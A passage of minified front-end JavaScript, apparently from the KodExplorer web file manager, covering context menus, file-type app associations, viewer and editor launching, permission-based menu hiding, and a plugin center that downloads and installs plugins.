      • "}var p=$(c).clone();a?e.$menu.find(a).first().after(p):i&&e.$menu.find(i).first().before(p);var u=p.parent(".context-menu-list").data("contextMenu");p.data({contextMenu:u,contextMenuKey:t,contextMenuRoot:n});var f={$input:null,$label:null,accesskey:o.accesskey,className:o.className,icon:o.icon,name:o.name,_name:d,$node:p};if(u&&(u.items||(u.items={}),u.items[t]=f),"string"!=typeof o&&(e.commands||(e.commands={}),e.commands[t]=f,n.commands[t]=f,n.callbacks[t]=function(e,t){o.callback(e,t)},o.accesskey&&(n.accesskeys[o.accesskey]=f),o.items)){var c='
        ';$(c).appendTo(p),f.$menu=p.find("ul."+t),f.callback=null,f.appendTo=f.$node,f.type="sub",p.data("contextMenu",f).addClass("context-menu-submenu"),p.find("ul."+t).data({contextMenuRoot:n,contextMenu:f}),p.find("li."+t+"-first").data({contextMenuRoot:n,contextMenuKey:t+"-first",contextMenu:f}),f.items||(f.items={}),f.items[t+"-first"]={$input:null,$label:null,icon:"",name:"",_name:"",$node:p.find("li."+t+"-first")},l(f,o.items,"."+t+"-first")}})};l(n,e,a,i)}};var e=function(){return $('').appendTo("#rightMenu"),"function"!=typeof $.contextMenu?console.info("$.contextMenu is not function!"):($.contextMenu({zIndex:9999,selector:".dialog-menu",items:{"dialog-quit":{name:LNG.close,className:"dialog-quit",icon:"remove",accesskey:"q"},"dialog-max":{name:LNG.dialog_max,className:"dialog-max",icon:"resize-full",accesskey:"a"},"dialog-min":{name:LNG.dialog_min,className:"dialog-min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},"open-window":{name:LNG.open_ie,className:"open-window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"dialog-quit":i.close();break;case"dialog-min":i._clickMin(!1);break;case"dialog-max":i._clickMax();break;case"refresh":i.refresh();break;case"open-window":i.openWindow();break;case"qrcode":core.qrcode(i.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui-title img,.aui-title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),$.contextMenu.hidden()}),void 0)};Hook.bind("rightMenu.show.dialog-menu",function(e,t){var a=e.attr("id"),i=$.dialog.list[a],n="hidden",o=".open-window,.refresh,.qrcode,.context-menu-separator";i.hasFrame()?t.find(o).removeClass(n):t.find(o).addClass(n);var s=".dialog-min,.dialog-max";$("."+a).hasClass("dialog-can-resize")?t.find(s).removeClass(n):t.find(s).addClass(n)}),e()}),define("app/app/appBase",[],function(){var e={},t={},a={},i=!1,n=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),e[a.name]=a,a.ext||(a.ext="");var i=a.ext.split(",");e[a.name].extArr=i,a.sort=a.sort!==void 0?parseInt(a.sort):0;for(var n=0;i.length>n;n++){var o=trim(i[n]);e[a.name].extArr[n]=o,t[o]||(t[o]=[]);for(var s=!1,r=0;t[o].length>r;r++)if(t[o][r].name==a.name){s=!0;break}s||(t[o].push({name:a.name,sort:a.sort}),t[o].length>1&&(t[o]=_.sortBy(t[o],"sort").reverse()))}Hook.trigger("kodApp.add.finished")},o=function(){return t},s=function(i){if(!i||!e[i])return!1;delete e[i];for(var n in a)if(a[n]==i){delete a[n];break}for(var n in t){for(var o=t[n],s=[],r=0;o.length>r;r++)o[r].name!=i&&s.push(o[r]);0==s.length?delete t[n]:t[n]=s}},r=function(i){if(i===void 0){var n=[];for(var o in e)e[o].hidden||n.push(e[o]);return n}var s=a[i],n=[];if(!s&&!t[i])return!1;if(s&&(e[s]?n.push(e[s]):delete a[i]),!t[i])return n;for(var r=0;t[i].length>r;r++){var l=t[i][r].name;e[l]&&l!=s&&n.push(e[l])}return n},l=function(e){i=e},c=function(){return i},d=function(t,a,i){a&&"file"!=a||(a=core.pathExt(t)),i=i?i:"";var n={path:t,ext:a,appName:i};if(!Hook.trigger("kodApp.open.before",n)){if(t=n.path,a=n.ext,i=n.appName)var o=e[i];else{var s=r(a);if(!s||0==s.length)return kodApp.openUnknow(t,""),void 0;var o=s[0]}if(!o)return Tips.tips("["+i+"] not exists",!1);try{o.callback(t,a),Hook.trigger("kodApp.open.after",t,a,o)}catch(l){kodApp.openUnknow(t,""),console.error("kodApp.open error:",l)}}},p=function(t){var a=r(t),i=r("");""==t&&(a=!1),a?a.push({name:""}):a=[],a=a.concat(i);for(var n={},o=0;a.length>o;o++){var s=a[o];""==s.name||s.hidden?n["step-line"]="-------":n[s.name]={app:s.name,name:s.title,className:s.className,icon:s.icon,callback:function(t){var a=e[t];if(a&&a.callback){if($(".context-menu-active"),$(".context-menu-active").hasClass("menu-tree-file"))var i=ui.tree.makeParam();else var i=ui.path.makeParam();a.callback(i.path,i.type)}}}}return n},u=function(e,t){f(e,t),G.userConfig.kodAppDefault=htmlEncode(jsonEncode(a)),G.shareInfo||$.get(G.appHost+"setting/set&k=kodAppDefault&v="+jsonEncode(a))},f=function(t,i){if("string"==typeof t)a[t]=i;else if($.isArray(t))for(var n=0;t.length>n;n++)a[t[n]]=i;else if(e[i]&&$.isArray(e[i].extArr))for(var o=e[i].extArr,n=0;o.length>n;n++)a[o[n]]=i},h=function(){G.userConfig.kodAppDefault="[]",a={}},m=function(t,a){var t=e[t];return t?a?inArray(t.extArr,a):t.ext:!1},v=function(a,i,n){var a=e[a];if(!a)return!1;var o="undefined"==n?0:parseInt(n);0==o&&a.sort!==void 0&&(o=parseInt(a.sort)),"string"==$.type(i)&&(i=i.split(","));for(var s=0;i.length>s;s++){var r=i[s];if(r){inArray(a.extArr,r)||a.extArr.push(r),t[r]||(t[r]=[]);for(var l=!1,c=0;t[r].length>c;c++)t[r][c].name!=a.name||(t[r][c].sort=o,l=!0);l||t[r].push({name:a.name,sort:o})}}},g=function(){if(G.userConfig&&G.userConfig.kodAppDefault)try{var e=G.userConfig.kodAppDefault;e=jsonDecode(htmlDecode(e)),$.isPlainObject(e)&&(a=e)}catch(t){}Hook.bind("rightMenu.show.menu-file,rightMenu.show.menu-tree-file",function(e,t){if(e.hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";if(kodApp.getApp(i)){var o=kodApp.getAppMenu(i);t.find("li.open-with.context-menu-submenu").removeClass(n),t.find("ul.context-menu-list.open-with .context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(o,".menu-file",".open-with-first"),$.contextMenu.menuAdd(o,".menu-tree-file",".open-with-first")}else t.find("li.open-with.context-menu-submenu").addClass(n)}),Hook.trigger("kodApp.ready")};return g(),{debug:function(){return{appList:e,openDefault:t,openUser:a}},add:n,remove:s,appSupportCheck:m,appSupportSet:v,getApp:r,getAppBind:o,getAppMenu:p,setLastOpenTarget:l,getLastOpenTarget:c,setOpenUser:u,setOpenUserLocal:f,clearOpenUser:h,open:d}}),define("app/app/editor",[],function(){kodApp.add({name:"aceEditor",title:LNG["Plugin.default.aceEditor"],sort:0,ext:"txt,textile,oexe,inc,csv,log,asc,tsv,lnk,url,webloc,meta,localized,xib,xsd,storyboard,plist,csproj,pch,pbxproj,local,xcscheme,manifest,vbproj,strings,jshintrc,sublime-project,readme,changes,changelog,version,license,changelog,abap,abc,as,asp,aspx,ada,adb,htaccess,htgroups,htgroups,htpasswd,asciidoc,adoc,asm,a,ahk,bat,cmd,cpp,c,cc,cxx,h,hh,hpp,ino,c9search_results,cirru,cr,clj,cljs,cbl,cob,coffee,cf,cson,cakefile,cfm,cs,css,curly,d,di,dart,diff,patch,dockerfile,dot,dummy,dummy,e,ge,ejs,ex,exs,elm,erl,hrl,frt,fs,ldr,ftl,gcode,feature,.gitignore,glsl,frag,vert,gbs,go,groovy,haml,hbs,handlebars,tpl,mustache,hs,hx,html,hta,htm,xhtml,eex,html.eex,erb,rhtml,html.erb,ini,inf,conf,cfg,prefs,io,jack,jade,java,ji,jl,jq,js,jsm,json,jsp,jsx,latex,ltx,bib,lean,hlean,less,liquid,lisp,ls,logic,lql,lsl,lua,lp,lucene,Makefile,makemakefile,gnumakefile,makefile,ocamlmakefile,make,md,markdown,mask,matlab,mz,mel,mc,mush,mysql,nc,nix,nsi,nsh,m,mm,ml,mli,pas,p,pl,pm,pgsql,php,phtml,shtml,php3,php4,php5,phps,phpt,aw,ctp,module,ps1,praat,praatscript,psc,proc,plg,prolog,properties,proto,py,r,cshtml,rd,rhtml,rst,rb,ru,gemspec,rake,guardfile,rakefile,gemfile,rs,sass,scad,scala,scm,sm,rkt,oak,scheme,scss,sh,bash,bashrc,sjs,smarty,tpl,snippets,soy,space,sql,sqlserver,styl,stylus,svg,swift,tcl,tex,toml,twig,swig,ts,typescript,str,vala,vbs,vb,vm,v,vh,sv,svh,vhd,vhdl,wlk,wpgm,wtest,xml,rdf,rss,wsdl,xslt,atom,mathml,mml,xul,xbl,xaml,xq,yaml,yml,vcproj,vcxproj,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx",icon:G.staticPath+"images/file_icon/icon_app/ace.png",callback:function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(core.isApp("editor"))return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var a=t.$.dialog.list.openEditor,i=0;a&&"hidden"==$(a.DOM.wrap).css("visibility")&&(i=200,a.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},i)}else{var n=G.appHost+"editor/edit#filename="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}}});var e=ShareData.frameTop();e.Config&&"editor"==e.Config.pageApp&&kodApp.setOpenUserLocal(!1,"aceEditor")}),define("app/app/openWith",[],function(){kodApp.add({name:"appOpenSetting",title:LNG["Explorer.UI.appSetDefault"],ext:"",icon:G.staticPath+"images/file_icon/icon_others/setting.png",callback:function(e,t){var a="
        ",i=kodApp.getApp(t),n=!1;_.isArray(i)&&(n=i[0].name);var o=template.compile(a),s=o({LNG:LNG,apps:i,defaultApp:n,appAll:kodApp.getApp()}),r=$.dialog({id:"dialog-app-select",className:"menu-empty",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG["Explorer.UI.selectAppDesc"],width:480,height:360,padding:"20px",content:s,ok:function(){return l()}}),l=function(){var a=$("#app-default-checkbox").prop("checked"),i=$(".app-list.active .app-item.select").attr("data-app");return i?(r.close(),kodApp.open(e,t,i),a&&kodApp.setOpenUser(t,i),!0):(Tips.tips(LNG["Explorer.UI.selectAppWarning"],"warning"),!1)};$(".tab-group .tab-item").die("click").live("click",function(){var e=$(this).find("[aria-controls]").attr("aria-controls");"app-list-support"==e?$("#app-default-checkbox").prop("checked",!0):$("#app-default-checkbox").prop("checked",!1)}),$(".app-item").die("click").live("click",function(){$(this).parent().find(".select").removeClass("select"),$(this).addClass("select")}).die("dblclick").live("dblclick",function(){l()})}})}),define("app/app/html",[],function(){var e=function(e){return void 0==e?!1:0===e.indexOf("http")?!0:G.shareInfo||core.pathReadable(e)?!0:(Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),!1)};Hook.bind("kodApp.open.before",function(t){return"folder"==t.ext?(core.isApp("explorer")||isWap()?ui.path.list(t.path+"/"):core.explorer(t.path),!0):e(t.path)?("file"==t.ext&&(t.ext=""),void 0):!0}),kodApp.openUnknow=function(e,t){void 0==t&&(t="");var a=G.appHost+"pluginApp/index&search="+core.pathExt(e),i="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'appOpenSetting');",n="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'aceEditor');",o="kodApp.download(pathHashDecode('"+pathHashEncode(e)+"'));",s="core.openWindow('"+a+"');",r=LNG.unknow_file_try+'
        '+LNG.unknow_file_tips+"
        "+t+'
        2.'+r+n+'">'+LNG["Explorer.UI.openWithText"]+'
        3.'+r+o+'">'+LNG.unknow_file_download+'
        '+r+s+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:l,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(e){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(e)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=t;"http"!=t.substr(0,4)&&(a=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(t),G.sharePage!==void 0&&(a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(a):$('').appendTo("body")}}}),kodApp.download=function(e){kodApp.open(e,"","download")},kodApp.openWindow=function(e){kodApp.open(e,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=core.path2url(t);isWap()?window.location.href=a:window.open(a)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(e,t){$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(e,t){core.fileGet(e,function(a){if("url"==t){var i=a.match(/URL=(.*)/);if(i.length>=2)return window.open(i[1])}else if("webloc"==t)try{var n=$($.parseXML(a)),o=n.find("string").text();return window.open(o),void 0}catch(s){}kodApp.open(e,t,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(e){var t=core.path2url(e);core.openDialog(t,core.icon("html"),core.pathThis(e))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(e,t){var a=core.path2url(e),i="pdf"+UUID(),n='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"80%",height:"75%",padding:0,content:n}),PDFObject.embed(a,"#"+i)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),core.openApp(a)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),a.path=e,ui.path.pathOperate.appEdit(a)})}});var t={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(t,".menu-body-main",".app-install"),$.contextMenu.menuAdd(t,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(t,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(e,t,a){var i=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(a.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),a.removeClass("menu-auto-fit"),a.inScreen()||a.addClass("menu-auto-fit"),".menu-body-main"==e){var n=a.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?n.removeClass("hidden"):n.addClass("hidden")}if(_.include(i,e)){var o="disabled",s=".cute,.rname,.remove",r=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";t.hasClass("file-not-readable")?a.find(r).addClass(o):a.find(r).removeClass(o),t.hasClass("file-not-writeable")?a.find(s).addClass(o):a.find(s).removeClass(o)}}),Hook.bind("rightMenu.show.menu-body-main",function(e,t){var a=".upload,.past,.newfolder,.newfile",i="disabled";_.get(G,"jsonData.info.canUpload")?t.find(a).removeClass(i):t.find(a).addClass(i)}),Hook.bind("rightMenu.show.menu-file",function(e,t){if($(".context-menu-active").hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";inArray(["jpg","jpeg","png"],i)?t.find(".set-background").removeClass(n):t.find(".set-background").addClass(n)});var a=function(){var e=".close-item,.refresh,.newfile,.past,.info",t=".open-browser",a=".explorer,.create-project,.open-project",i=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",n=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",o=$(".menu-tool-path"),s="disabled",r=ui.fileLight.fileListSelect();o.find(".context-menu-item").addClass(s),0==r.length?o.find(e).removeClass(s):1==r.length?(o.find(".context-menu-item").removeClass(s),"folder"==ui.fileLight.type(r)?o.find(t).addClass(s):o.find(a).addClass(s)):r.length>1&&o.find(i).removeClass(s),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&o.find(n).filter(":not(."+s+")").addClass(s)};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){a(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){a()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var e="hidden";if(core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),$(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open-text").addClass(e),$(".pathinfo .open-window").addClass(e),$(".context-menu-list .open-browser").addClass(e)),core.authCheck("explorer.search")||$(".context-menu-list .search").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder").addClass(e),core.authCheck("userShare.set")||$(".context-menu-list .share").remove(),core.authCheck("explorer.mkfile")||$(".context-menu-list .newfile,.tool-path-newfile").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder,[data-action=newfolder]").addClass(e),core.authCheck("explorer.pathCopy")||($(".context-menu-list .cute").addClass(e),$(".context-menu-list .copy").addClass(e)),!core.authCheck("explorer.fileUpload")){$(".context-menu-list .upload").addClass(e);var t=$("[data-action=upload-more]");t.exists()&&t.parent().addClass(e)}}})}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n"),define("app/src/plugins/page",[],function(e){var t="install",a="",i=200,n={by:"id",desc:"up"},o=!1,s={},r={},l={main:e("./tpl/main.html"),list:e("./tpl/list.html")},c=function(){$.getUrlParam("type")&&(t=$.getUrlParam("type")),$("ul.setting a").click(function(){$(".app-plugins .app-content-box").scrollTop(0),z($(this).attr("data-type"))}),$(".app-model [action]").die("click").live("click",function(e){return v($(this).attr("action"),$(this)),$(this).parents(".dropdown-menu").exists()&&$(this).parents(".action").removeClass("open"),stopPP(e)}),h(),d(z),setTimeout(u,100),"zh-CN"==G.lang?(LNG.PluginInstallSelf="手动安装",LNG.PluginInstallSelfDesc="当您的服务器不支持离线下载,或者虚拟主机商禁用了相关功能时,可以手动下载插件,下载后上传解压到plugins目录下(需要保留插件名的文件夹,不能修改),再到插件中心启用即可.下载地址"):(LNG.PluginInstallSelf="Manual installation",LNG.PluginInstallSelfDesc="When your server does not support offline download, or disable the virtual host related functions, you can manually download the plug-in, download after decompression uploaded to the plugins directory, and then to the plug-in can be enabled Download Center.")},d=function(e){$.ajax({url:G.appHost+"pluginApp/appList",dataType:"json",error:function(e,t,a){Tips.close(LNG.error,!1),core.ajaxError(e,t,a)},success:function(t){s=$.extend(!0,{},t),p(t),e&&e()}})},p=function(e){if(void 0==e&&(e=s),!e.code)return!1;var t=e.data;if(o){r=$.extend(!0,{},o);for(var a in t)if(t[a].id){var i=_.get(r[a],"server");r[a]=t[a],i&&(r[a].server=i)}}else r=t;for(var n in r){var l=r[n];if($.isPlainObject(l.configItem)&&$.isPlainObject(l.config))for(var a in l.config)$.isPlainObject(l.configItem[a])&&(l.configItem[a].valueDefault=l.configItem[a].value,l.configItem[a].value=l.config[a])}},u=function(){$.ajax({url:G.settings.pluginServer+"plugin/appList",data:{version:G.version,versionHash:G.versionHash,systemOS:G.systemOS,phpVersion:G.phpVersion,lang:G.lang},dataType:"jsonp",success:function(e){e.code?(o={},$.each(e.data,function(){o[this.id]=this}),e.info&&(n=e.info.sort),p(),f()||w()):Tips.tips(e.data,!1)}})},f=function(){var e=$.getUrlParam("search");return e?($(".search input").val(e).focus(),m(),!0):!1},h=function(){var e=$(".search input"),t=$(".search .btn-close");e.inputChange(function(e,a){a.length>0?t.removeClass("hidden"):t.addClass("hidden")}).keyEnter(function(){m()}).blur(function(){a=trim(e.val())}),$(".search .btn-search").click(function(){m()}),$(".clear-search-btn,.search .btn-close").live("click",function(){a="",e.val("").trigger("input").focus(),z()})},m=function(){var e=$(".search input"),t=trim(e.val());e.focus().trigger("input"),a=t,z()},v=function(e,t){var a;if($(".app-plugins .app-content-box"),a=t.hasClass("data-app")?t.attr("data-app"):$(t).parents(".data-app").attr("data-app"),g(e)!==!1)switch(e){case"historyBack":w();break;case"appDescription":C(a);break;case"appEnable":y(a,1);break;case"appDisable":y(a,0);break;case"appConfig":N(a);break;case"appInstall":S(a);break;case"installSelf":S(a,"self");break;case"appRemove":k(a,t);break;default:}},g=function(e){var t={appEnable:"changeStatus",appDisable:"changeStatus",appConfig:"setConfig",appInstall:"unInstall",appRemove:"unInstall"};if(t[e]){var a="pluginApp."+t[e];return core.authCheck(a,!0)?void 0:!1}},b=function(e,t,a){var i=function(){if($(".app-content-box").hasClass("hidden")){var e=$(".app-descript .data-app").attr("data-app");C(e)}else z()};t?(p(t),i()):d(function(){i(),a&&a()})},y=function(e,t){Tips.loading(LNG.loading),$.ajax({url:G.appHost+"pluginApp/changeStatus&app="+e+"&status="+t,dataType:"json",error:function(e,t,a){Tips.close(LNG.error,!1),core.ajaxError(e,t,a)},success:function(t){t.code?(b(e,t),Tips.close(LNG.success)):"needConfig"==t.data?(Tips.close(LNG.PluginNeedConfig,"warning"),N(e)):Tips.close(t)}})},k=function(e){$.artDialog.confirm(LNG.remove_info,function(){x(e)})},x=function(e){Tips.loading(LNG.loading),$.ajax({url:G.appHost+"pluginApp/unInstall&app="+e,dataType:"json",error:function(e,t,a){Tips.close(LNG.error,!1),core.ajaxError(e,t,a)},success:function(t){Tips.close(t),b(e,t)}})},w=function(){var e=$(".app-plugins .app-content-box"),t=e.find(".app-list"),a=e.scrollTop();$(".app-plugins .app-descript").addClass("hidden"),e.removeClass("hidden"),template.helper("nameToClassName",L);var n=template.compile(l.list),o=P(),s=n({data:{appList:o},LNG:LNG});if(o.length>0)for(var r=0;20>r;r++)s+='
        ';t.stop().hide().html(s).fadeIn(i),e.scrollTop(a)},L=function(e){for(var t=["bg-red-6","bg-red-8","bg-red-10","bg-green-6","bg-green-8","bg-green-10","bg-blue-6","bg-blue-8","bg-blue-10","bg-purple-6","bg-purple-8","bg-purple-10","bg-cyan-6","bg-cyan-8","bg-cyan-10","bg-pink-6","bg-pink-8","bg-pink-10","bg-orange-6","bg-orange-8","bg-orange-10","bg-yellow-6","bg-yellow-8","bg-yellow-10","bg-grey-6","bg-grey-8","bg-grey-10"],a=0,i=0;e.length>i;i++)a+=e[i].charCodeAt();var n=a%t.length;return t[n]},C=function(e){var t=$(".app-plugins .app-descript");$(".app-plugins .app-model").addClass("hidden"),t.removeClass("hidden"),template.helper("nameToClassName",L);var a=template.compile(l.main),i=a({item:r[e],LNG:LNG});t.html(i)},N=function(e){var t=r[e],a=t.configItem,i=ShareData.frameTop(),n="app-config-"+e,o={id:n,width:680,height:500,title:t.name,className:"dialog-no-title dialog-plugin-config ",okVal:LNG.button_apply,button:[{name:LNG.PluginResetConfig,className:"btn-config-reset",callback:function(){return i.$.artDialog.confirm(LNG.confirm,function(){T(e,"reset"),i.$.dialog.list[n]&&i.$.dialog.list[n].close()}),!1}}]};if(t.configItem.formStyle&&t.configItem.formStyle.className&&(o.className+=t.configItem.formStyle.className),t.configItem.formStyle&&t.configItem.formStyle.tabs&&t.configItem.formStyle.tabs.length>0&&-1==o.className.indexOf("dialog-form-style-mac")&&(o.className+=" form-dialog-has-menu",o.width+=140),t.source){var s=t.source.icon||t.source.className;if(s)o.ico=core.icon(s);else{var l=L(t.name);o.ico=''+t.name.substr(0,2)+""}}i.core.formMake.initDialog(a,o,function(t){return T(e,t),!1})},T=function(e,t){"reset"!=t&&$.each(t,function(t,a){r[e].configItem[t].value=a});var a=ShareData.frameTop();a.Tips.loading(LNG.loading),$.ajax({url:G.appHost+"pluginApp/setConfig",data:{app:e,value:t},type:"POST",error:function(){},success:function(t){if(a.Tips.close(t),t.code){var n=i;i=0,b(e,!1,function(){i=n})}}})},S=function(e,t){var a={app:e,version:G.version,versionHash:G.versionHash,systemOS:G.systemOS,phpVersion:G.phpVersion,lang:G.lang};$.ajax({url:G.settings.pluginServer+"plugin/install",data:a,dataType:"jsonp",error:function(){},success:function(a){if(!a.code)return"needLicense"==a.info?$.artDialog.alert(a.data):Tips.tips(a.data,"warning"),void 0;var i=r[e];return"self"==t?(D(a.data,i),void 0):(new A(e,a.data,i.server.size),void 0)}})},D=function(e,t){$.dialog({id:"show-install-self",width:"300px",fixed:!0,padding:"30px 40px 50px 40px",title:LNG.PluginInstallSelf,content:LNG.PluginInstallSelfDesc+":"+LNG.download+""})},A=function(e,t,a){var i=t,n=a;UUID();var o=G.basicPath+"/plugins/",s=e+".zip",r=o+s,l=o+s+".downloading",c=G.basicPath+"plugins/"+e+"/",d=".app-model:not(.hidden) [data-app="+e+"]",p=d+" .btn-group";$(p).addClass("disabled");var u,f=function(){clearInterval(u),$(d).find(".progress").addClass("hidden"),$(p).removeClass("disabled").find("[action=appInstall] span").html(LNG.PluginInstall)},h=function(){var e,t="0B/s",a=0,i=function(i){if(.3>=timeFloat()-a)return t;a=timeFloat();var n=5;e===void 0?e=[[timeFloat()-.5,0],[timeFloat(),i]]:n>=e?e.push([timeFloat(),i]):(e=e.slice(1,n),e.push([timeFloat(),i]));var o=e[e.length-1],s=e[0],r=(o[1]-s[1])/(o[0]-s[0]);return r=pathTools.fileSize(r)+"/s",t=r,r},o=function(e){var t=i(e),a=100*(parseFloat(e)/parseFloat(n));$(p).addClass("disabled").find("[action=appInstall] span").html(LNG.downloading),$(d).find(".progress").removeClass("hidden"),$(d).find(".total-size").html(pathTools.fileSize(n)),$(d).find(".download-speed").html(a.toFixed(1)+"% ("+t+") "),$(d).find(".progress-bar").css("width",a+"%")};o(0),u=setInterval(function(){k(l,function(e){e&&e.code&&e.data.size&&o(e.data.size)})},300)},m=function(t){Tips.loading(LNG.unziping),$(p).find("[action=appInstall] span").html(LNG.PluginInstalling),$.ajax({url:G.appHost+"explorer/unzip&pathTo="+urlEncode(c)+"&path="+urlEncode(t),success:function(a){return f(),a&&a.code===!1?(Tips.close(a.data),void 0):(a.code&&(x(t,function(){Tips.close(LNG.updateSuccess)}),b(e,!1,function(){y(e,1)})),void 0) -}})},v=function(){g(i,o,function(e){if(clearInterval(u),e&&e.code){var t=e.info;return 20>t.length&&(t=o+t),m(t),void 0}}),h()},g=function(e,t,a){$(p).find("[action=appInstall] span").html(LNG.downloading),Tips.loading(LNG.loading),$.ajax({url:"?explorer/serverDownload&savePath="+urlEncode(t)+"&url="+urlEncode(e)+"&name="+urlEncode(s),dataType:"json",error:function(e){var t='
        '+e.responseText+"
